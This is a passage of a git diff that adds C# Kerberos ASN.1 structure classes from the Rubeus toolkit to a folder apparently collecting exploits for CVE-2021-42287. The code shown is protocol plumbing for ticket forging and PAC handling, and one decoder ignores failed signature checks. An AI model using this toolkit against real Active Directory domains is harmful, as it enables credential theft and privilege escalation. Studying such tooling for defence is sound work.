addrSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, addrList.ToArray()); + AsnElt addrSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, addrSeqTotal1); + addrSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, addrSeqTotal2); + allNodes.Add(addrSeqTotal2); + } + + // enc-authorization-data [10] EncryptedData OPTIONAL + if (enc_authorization_data != null) + { + AsnElt authorizationEncryptedDataASN = enc_authorization_data.Encode(); + AsnElt authorizationEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authorizationEncryptedDataASN }); + authorizationEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 10, authorizationEncryptedDataSeq); + allNodes.Add(authorizationEncryptedDataSeq); + } + + // additional-tickets [11] SEQUENCE OF Ticket OPTIONAL + if (additional_tickets.Count > 0) { + AsnElt ticketAsn = additional_tickets[0].Encode(); + AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn }); + AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq }); + ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 11, ticketSeq2); + allNodes.Add(ticketSeq2); + } + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + + return seq; + } + + + public Interop.KdcOptions kdcOptions { get; set; } + + public PrincipalName cname { get; set; } + + public string realm { get; set; } + + public PrincipalName sname { get; set; } + + public DateTime from { get; set; } + + public DateTime till { get; set; } + + public DateTime rtime { get; set; } + + public UInt32 nonce { get; set; } + + public List etypes { get; set; } + + public List addresses { get; set; } + + public EncryptedData enc_authorization_data { get; set; } + + public List additional_tickets { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KERB_PA_PAC_REQUEST.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KERB_PA_PAC_REQUEST.cs new file mode 100644 index 0000000..cf8dff9 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KERB_PA_PAC_REQUEST.cs @@ -0,0 +1,45 @@ +using Asn1; +using System; +using System.Text; + +namespace Rubeus +{ + //KERB-PA-PAC-REQUEST ::= SEQUENCE { + // include-pac[0] BOOLEAN --If TRUE, and no pac present, include PAC. + // --If FALSE, and PAC present, remove PAC + //} + + public class KERB_PA_PAC_REQUEST + { + public KERB_PA_PAC_REQUEST(bool pac = true) + { + // default -> include PAC + include_pac = pac; + } + + public KERB_PA_PAC_REQUEST(AsnElt value) + { + include_pac = value.Sub[0].Sub[0].GetBoolean(); + } + + public AsnElt Encode() + { + AsnElt ret; + + if (include_pac) + { + ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 }); + } + else + { + ret = AsnElt.MakeBlob(new byte[] { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x00 }); + } + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ret }); + + return seq; + } + + public bool include_pac { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KRB_CRED.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KRB_CRED.cs new file mode 100644 index 0000000..4e70816 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KRB_CRED.cs @@ -0,0 +1,129 @@ +using System; +using Asn1; +using System.Collections.Generic; + +namespace Rubeus +{ + public class KRB_CRED + { + //KRB-CRED::= [APPLICATION 22] SEQUENCE { + // pvno[0] INTEGER(5), + // msg-type[1] INTEGER(22), + // tickets[2] SEQUENCE OF Ticket, + // enc-part[3] EncryptedData -- EncKrbCredPart + //} + + public KRB_CRED() + { + // defaults for creation + pvno = 5; + msg_type = 22; + + tickets = new List(); + + enc_part = new EncKrbCredPart(); + } + + public KRB_CRED(byte[] bytes) + { + RawBytes = bytes; + AsnElt asn_KRB_CRED = AsnElt.Decode(bytes, false); + this.Decode(asn_KRB_CRED.Sub[0]); + } + + public KRB_CRED(AsnElt body) + { + this.Decode(body); + } + + public void Decode(AsnElt body) + { + tickets = new List(); + + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + pvno = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 1: + msg_type = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 2: + foreach (AsnElt ae in s.Sub[0].Sub[0].Sub) + { + Ticket ticket = new Ticket(ae); + tickets.Add(ticket); + } + break; + case 3: + enc_part = new EncKrbCredPart(s.Sub[0]); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // pvno [0] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); + + + // msg-type [1] INTEGER (22) + AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type); + AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn }); + msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); + + + // tickets [2] SEQUENCE OF Ticket + // TODO: encode/handle multiple tickets! + AsnElt ticketAsn = tickets[0].Encode(); + AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn }); + AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq }); + ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ticketSeq2); + + + // enc-part [3] EncryptedData -- EncKrbCredPart + AsnElt enc_partAsn = enc_part.Encode(); + AsnElt blob = AsnElt.MakeBlob(enc_partAsn.Encode()); + + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + // etype == 0 -> no encryption + AsnElt etypeAsn = AsnElt.MakeInteger(0); + AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); + etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); + + AsnElt infoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq }); + AsnElt infoSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { infoSeq }); + infoSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, infoSeq2); + + + // all the components + AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 }); + + // tag the final total ([APPLICATION 22]) + AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); + final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final); + + return final; + } + + public long pvno { get; set; } + + public long msg_type { get; set; } + + //public Ticket[] tickets { get; set; } + public List tickets { get; set; } + + public EncKrbCredPart enc_part { get; set; } + + public byte[] RawBytes { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KRB_ERROR.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KRB_ERROR.cs new file mode 100644 index 0000000..0e39550 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KRB_ERROR.cs @@ -0,0 +1,110 @@ +using System; +using Asn1; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + public class KRB_ERROR + { + //KRB-ERROR ::= [APPLICATION 30] SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (30), + // ctime [2] KerberosTime OPTIONAL, + // cusec [3] Microseconds OPTIONAL, + // stime [4] KerberosTime, + // susec [5] Microseconds, + // error-code [6] Int32, + // crealm [7] Realm OPTIONAL, + // cname [8] PrincipalName OPTIONAL, + // realm [9] Realm -- service realm --, + // sname [10] PrincipalName -- service name --, + // e-text [11] KerberosString OPTIONAL, + // e-data [12] OCTET STRING OPTIONAL + //} + + public KRB_ERROR(byte[] errorBytes) + { + + } + + public KRB_ERROR(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + pvno = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 1: + msg_type = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 2: + ctime = s.Sub[0].GetTime(); + break; + case 3: + cusec = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 4: + stime = s.Sub[0].GetTime(); + break; + case 5: + susec = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 6: + error_code = Convert.ToUInt32(s.Sub[0].GetInteger()); + break; + case 7: + crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 8: + cname = new PrincipalName(s.Sub[0]); + break; + case 9: + realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 10: + sname = new PrincipalName(s.Sub[0]); + break; + default: + break; + } + } + } + + // don't ever really need to create a KRB_ERROR structure manually, so no Encode() + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public DateTime ctime { get; set; } + + public long cusec { get; set; } + + public DateTime stime { get; set; } + + public long susec { get; set; } + + public long error_code { get; set; } + + public string crealm { get; set; } + + public PrincipalName cname { get; set; } + + public string realm { get; set; } + + public PrincipalName sname { get; set; } + + // skipping these two for now + // e_text + // e_data + + + //public Ticket[] tickets { get; set; } + public List tickets { get; set; } + + public EncKrbCredPart enc_part { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KRB_PRIV.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KRB_PRIV.cs new file mode 100644 index 0000000..f065400 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KRB_PRIV.cs @@ -0,0 +1,82 @@ +using System; +using Asn1; +using System.Collections.Generic; + +namespace Rubeus +{ + public class KRB_PRIV + { + //KRB-PRIV ::= [APPLICATION 21] SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (21), + // -- NOTE: there is no [2] tag + // enc-part [3] EncryptedData -- EncKrbPrivPart + //} + + public KRB_PRIV(Interop.KERB_ETYPE encType, byte[] encKey) + { + // defaults for creation + pvno = 5; + msg_type = 21; + + etype = encType; + + ekey = encKey; + + enc_part = new EncKrbPrivPart(); + } + + public AsnElt Encode() + { + // pvno [0] INTEGER (5) + AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); + AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn }); + pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); + + + // msg-type [1] INTEGER (21) + AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type); + AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn }); + msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); + + // enc-part [3] EncryptedData -- EncKrbPrivPart + AsnElt enc_partAsn = enc_part.Encode(); + + // etype + AsnElt etypeAsn = AsnElt.MakeInteger((int)etype); + AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); + etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); + + // now encrypt the enc_part (EncKrbPrivPart) + // KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13; + byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, ekey, enc_partAsn.Encode()); + AsnElt blob = AsnElt.MakeBlob(encBytes); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt encPrivSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq }); + AsnElt encPrivSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { encPrivSeq }); + encPrivSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, encPrivSeq2); + + + // all the components + AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, encPrivSeq2 }); + + // tag the final total ([APPLICATION 21]) + AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); + final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 21, final); + + return final; + } + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public EncKrbPrivPart enc_part { get; set; } + + public Interop.KERB_ETYPE etype { get; set; } + + public byte[] ekey { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbAlgorithmIdentifier.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbAlgorithmIdentifier.cs new file mode 100644 index 0000000..23aa93f --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbAlgorithmIdentifier.cs @@ -0,0 +1,26 @@ +using Asn1; +using System.Security.Cryptography; + +namespace Rubeus { + public class KrbAlgorithmIdentifier { + + public Oid Algorithm { get; set; } + public byte[] Parameters { get; set; } + + public KrbAlgorithmIdentifier(Oid algorithm, byte[] parameters) { + Algorithm = algorithm; + Parameters = parameters; + } + + public AsnElt Encode() { + + AsnElt parameters = AsnElt.Decode(Parameters); + + return AsnElt.Make( + AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.MakeOID(Algorithm.Value), + parameters} + ); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbAuthPack.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbAuthPack.cs new file mode 100644 index 0000000..646012a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbAuthPack.cs @@ -0,0 +1,30 @@ +using Asn1; +using System.Security.Cryptography.X509Certificates; + +namespace Rubeus { + public class KrbAuthPack { + + public KrbPkAuthenticator Authenticator { get; private set; } + public KrbSubjectPublicKeyInfo ClientPublicValue { get; set; } + public KrbAlgorithmIdentifier[] SupportedCMSTypes { get; set; } + public byte[] ClientDHNonce { get; set; } + public X509Certificate2 Certificate { get; set; } + + public KrbAuthPack(KrbPkAuthenticator authenticator, X509Certificate2 certificate) { + Authenticator = authenticator; + Certificate = certificate; + ClientDHNonce = new byte[0]; + } + + public AsnElt Encode() { + + return AsnElt.Make(AsnElt.SEQUENCE, + new AsnElt[] { + AsnElt.Make(AsnElt.CONTEXT,0, Authenticator.Encode()), + AsnElt.Make(AsnElt.CONTEXT,1, ClientPublicValue.Encode() ), + //AsnElt.Make(AsnElt.CONTEXT,2, new AsnElt[]{ CMSTypes } ), + AsnElt.Make(AsnElt.CONTEXT,3, AsnElt.MakeBlob(ClientDHNonce)) + }); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbCredInfo.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbCredInfo.cs new file mode 100644 index 0000000..217080a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbCredInfo.cs @@ -0,0 +1,216 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class KrbCredInfo + { + //KrbCredInfo ::= SEQUENCE { + // key [0] EncryptionKey, + // prealm [1] Realm OPTIONAL, + // pname [2] PrincipalName OPTIONAL, + // flags [3] TicketFlags OPTIONAL, + // authtime [4] KerberosTime OPTIONAL, + // starttime [5] KerberosTime OPTIONAL, + // endtime [6] KerberosTime OPTIONAL, + // renew-till [7] KerberosTime OPTIONAL, + // srealm [8] Realm OPTIONAL, + // sname [9] PrincipalName OPTIONAL, + // caddr [10] HostAddresses OPTIONAL + //} + + public KrbCredInfo() + { + key = new EncryptionKey(); + + prealm = ""; + + pname = new PrincipalName(); + + flags = 0; + + srealm = ""; + + sname = new PrincipalName(); + } + + public KrbCredInfo(AsnElt body) + { + foreach (AsnElt s in body.Sub) + { + switch (s.TagValue) + { + case 0: + key = new EncryptionKey(s); + break; + case 1: + prealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 2: + pname = new PrincipalName(s.Sub[0]); + break; + case 3: + UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger()); + byte[] tempBytes = BitConverter.GetBytes(temp); + flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0); + break; + case 4: + authtime = s.Sub[0].GetTime(); + break; + case 5: + starttime = s.Sub[0].GetTime(); + break; + case 6: + endtime = s.Sub[0].GetTime(); + break; + case 7: + renew_till = s.Sub[0].GetTime(); + break; + case 8: + srealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 9: + sname = new PrincipalName(s.Sub[0]); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + List asnElements = new List(); + + // key [0] EncryptionKey + AsnElt keyAsn = key.Encode(); + keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyAsn); + asnElements.Add(keyAsn); + + + // prealm [1] Realm OPTIONAL + if (!String.IsNullOrEmpty(prealm)) + { + AsnElt prealmAsn = AsnElt.MakeString(AsnElt.IA5String, prealm); + prealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, prealmAsn); + AsnElt prealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, prealmAsn); + prealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, prealmAsnSeq); + + asnElements.Add(prealmAsnSeq); + } + + + // pname [2] PrincipalName OPTIONAL + if ((pname.name_string != null) && (pname.name_string.Count != 0) && (!String.IsNullOrEmpty(pname.name_string[0]))) + { + AsnElt pnameAsn = pname.Encode(); + pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, pnameAsn); + asnElements.Add(pnameAsn); + } + + + // pname [2] PrincipalName OPTIONAL + byte[] flagBytes = BitConverter.GetBytes((UInt32)flags); + if (BitConverter.IsLittleEndian) + { + Array.Reverse(flagBytes); + } + AsnElt flagBytesAsn = AsnElt.MakeBitString(flagBytes); + AsnElt flagBytesSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { flagBytesAsn }); + flagBytesSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, flagBytesSeq); + asnElements.Add(flagBytesSeq); + + + // authtime [4] KerberosTime OPTIONAL + if ((authtime != null) && (authtime != DateTime.MinValue)) + { + AsnElt authtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, authtime.ToString("yyyyMMddHHmmssZ")); + AsnElt authtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authtimeAsn }); + authtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authtimeSeq); + asnElements.Add(authtimeSeq); + } + + + // starttime [5] KerberosTime OPTIONAL + if ((starttime != null) && (starttime != DateTime.MinValue)) + { + AsnElt starttimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, starttime.ToString("yyyyMMddHHmmssZ")); + AsnElt starttimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { starttimeAsn }); + starttimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, starttimeSeq); + asnElements.Add(starttimeSeq); + } + + + // endtime [6] KerberosTime OPTIONAL + if ((endtime != null) && (endtime != DateTime.MinValue)) + { + AsnElt endtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, endtime.ToString("yyyyMMddHHmmssZ")); + AsnElt endtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { endtimeAsn }); + endtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, endtimeSeq); + asnElements.Add(endtimeSeq); + } + + + // renew-till [7] KerberosTime OPTIONAL + if ((renew_till != null) && (renew_till != DateTime.MinValue)) + { + AsnElt renew_tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, renew_till.ToString("yyyyMMddHHmmssZ")); + AsnElt renew_tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { renew_tillAsn }); + renew_tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, renew_tillSeq); + asnElements.Add(renew_tillSeq); + } + + + // srealm [8] Realm OPTIONAL + if (!String.IsNullOrEmpty(srealm)) + { + AsnElt srealmAsn = AsnElt.MakeString(AsnElt.IA5String, srealm); + srealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, srealmAsn); + AsnElt srealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, srealmAsn); + srealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, srealmAsnSeq); + asnElements.Add(srealmAsnSeq); + } + + + // sname [9] PrincipalName OPTIONAL + if ((sname.name_string != null) && (sname.name_string.Count != 0) && (!String.IsNullOrEmpty(sname.name_string[0]))) + { + AsnElt pnameAsn = sname.Encode(); + pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, pnameAsn); + asnElements.Add(pnameAsn); + } + + + // caddr [10] HostAddresses OPTIONAL + + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, asnElements.ToArray()); + + return seq; + } + + public EncryptionKey key { get; set; } + + public string prealm { get; set; } + + public PrincipalName pname { get; set; } + + public Interop.TicketFlags flags { get; set; } + + public DateTime authtime { get; set; } + + public DateTime starttime { get; set; } + + public DateTime endtime { get; set; } + + public DateTime renew_till { get; set; } + + public string srealm { get; set; } + + public PrincipalName sname { get; set; } + + // caddr (optional) - skipping for now + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbDHRepInfo.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbDHRepInfo.cs new file mode 100644 index 0000000..81dbde1 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbDHRepInfo.cs @@ -0,0 +1,41 @@ +using Asn1; +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.Pkcs; + +namespace Rubeus { + public class KrbDHRepInfo{ + public byte[] ServerDHNonce { get; private set; } + public byte[] DHSignedData { get; private set; } + public KrbKDCDHKeyInfo KDCDHKeyInfo { get; private set; } + + public KrbDHRepInfo(AsnElt asnElt) { + + if(asnElt.TagValue != AsnElt.SEQUENCE) { + throw new ArgumentException("Expected SEQUENCE for type DHRepInfo"); + } + + foreach(AsnElt seq in asnElt.Sub) { + switch (seq.TagValue) { + case 0: //dhSignedData + DHSignedData = seq.GetOctetString(); + SignedCms cms = new SignedCms(); + cms.Decode(DHSignedData); + + try { + cms.CheckSignature(true); + } catch (CryptographicException) { + Console.WriteLine("[!] DHRepInfo Signature Not Valid! - Do you even care?"); + } + + KDCDHKeyInfo = new KrbKDCDHKeyInfo(AsnElt.Decode(cms.ContentInfo.Content)); + break; + + case 1: //serverDHNonce + ServerDHNonce = seq.GetOctetString(); + break; + } + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbKDCDHKeyInfo.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbKDCDHKeyInfo.cs new file mode 100644 index 0000000..1de044a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbKDCDHKeyInfo.cs @@ -0,0 +1,32 @@ +using Asn1; +using System; + +namespace Rubeus { + + public class KrbKDCDHKeyInfo { + + public byte[] SubjectPublicKey { get; private set; } + public long Nonce { get; private set; } + public DateTime DHKeyExpiration { get; private set; } + public KrbKDCDHKeyInfo(AsnElt asnElt) { + + if(asnElt.TagValue != AsnElt.SEQUENCE) { + throw new ArgumentException("Unexpected tag type for KDCDHKeyInfo"); + } + + foreach(AsnElt sub in asnElt.Sub) { + switch (sub.TagValue){ + case 0: //subjectPublicKey + SubjectPublicKey = AsnElt.Decode(sub.Sub[0].GetBitString()).GetOctetString(); + break; + case 1: //nonce + Nonce = sub.Sub[0].GetInteger(0, uint.MaxValue); + break; + case 2: //dhKeyExpiration + DHKeyExpiration = sub.Sub[0].GetTime(); + break; + } + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbPkAuthenticator.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbPkAuthenticator.cs new file mode 100644 index 0000000..406358b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbPkAuthenticator.cs @@ -0,0 +1,38 @@ +using Asn1; +using System; +using System.Security.Cryptography; + +namespace Rubeus { + public class KrbPkAuthenticator { + + public KrbPkAuthenticator(uint cuSec, DateTime cTime, int nonce, KDCReqBody reqBody) { + CuSec = cuSec; + CTime = cTime; + Nonce = nonce; + RequestBody = reqBody; + } + + public KDCReqBody RequestBody { get; private set; } + public uint CuSec { get; set; } + public DateTime CTime { get; set; } + public int Nonce { get; set; } + + public AsnElt Encode() { + + byte[] paChecksum; + + using (SHA1CryptoServiceProvider sha1 = new SHA1CryptoServiceProvider()) { + paChecksum = sha1.ComputeHash(RequestBody.Encode().Encode()); + } + + AsnElt asnCTime = AsnElt.MakeString(AsnElt.GeneralizedTime, CTime.ToString("yyyyMMddHHmmssZ")); + + return AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.Make(AsnElt.CONTEXT,0, new AsnElt[] { AsnElt.MakeInteger(CuSec) }), + AsnElt.Make(AsnElt.CONTEXT,1, new AsnElt[]{ asnCTime } ), + AsnElt.Make(AsnElt.CONTEXT,2, new AsnElt[]{ AsnElt.MakeInteger(Nonce) } ), + AsnElt.Make(AsnElt.CONTEXT,3, new AsnElt[]{ AsnElt.MakeBlob(paChecksum) }) + }); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbSubjectPublicKeyInfo.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbSubjectPublicKeyInfo.cs new file mode 100644 index 0000000..7cd91aa --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/KrbSubjectPublicKeyInfo.cs @@ -0,0 +1,23 @@ +using Asn1; + +namespace Rubeus { + public class KrbSubjectPublicKeyInfo { + + public KrbAlgorithmIdentifier Algorithm { get; set; } + public byte[] SubjectPublicKey { get; set; } + + public KrbSubjectPublicKeyInfo(KrbAlgorithmIdentifier algorithm, byte[] subjectPublicKey) { + Algorithm = algorithm; + SubjectPublicKey = subjectPublicKey; + } + + public AsnElt Encode() { + return AsnElt.Make( + AsnElt.SEQUENCE, new AsnElt[] { + Algorithm.Encode(), + AsnElt.MakeBitString(SubjectPublicKey) + }); + + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/LastReq.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/LastReq.cs new file mode 100644 index 0000000..8ed8637 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/LastReq.cs @@ -0,0 +1,43 @@ +using System; +using Asn1; +using System.Text; +using System.Collections.Generic; + +namespace Rubeus +{ + public class LastReq + { + //LastReq::= SEQUENCE OF SEQUENCE { + // lr-type[0] Int32, + // lr-value[1] KerberosTime + //} + + public LastReq(AsnElt body) + { + foreach (AsnElt s in body.Sub[0].Sub) + { + switch (s.TagValue) + { + case 0: + lr_type = Convert.ToInt32(s.Sub[0].GetInteger()); + break; + case 1: + lr_value = s.Sub[0].GetTime(); + break; + default: + break; + } + } + } + + public AsnElt Encode() + { + // TODO: implement + return null; + } + + public Int32 lr_type { get; set; } + + public DateTime lr_value { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_DATA.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_DATA.cs new file mode 100644 index 0000000..4c2c555 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_DATA.cs @@ -0,0 +1,236 @@ +using System; +using Asn1; +using System.Security.Cryptography.X509Certificates; +using System.Security.Cryptography; + + +namespace Rubeus { + public class PA_DATA + { + public static readonly Oid DiffieHellman = new Oid("1.2.840.10046.2.1"); + + //PA-DATA ::= SEQUENCE { + // -- NOTE: first tag is [1], not [0] + // padata-type [1] Int32, + // padata-value [2] OCTET STRING -- might be encoded AP-REQ + //} + + public PA_DATA(bool pac = true) + { + 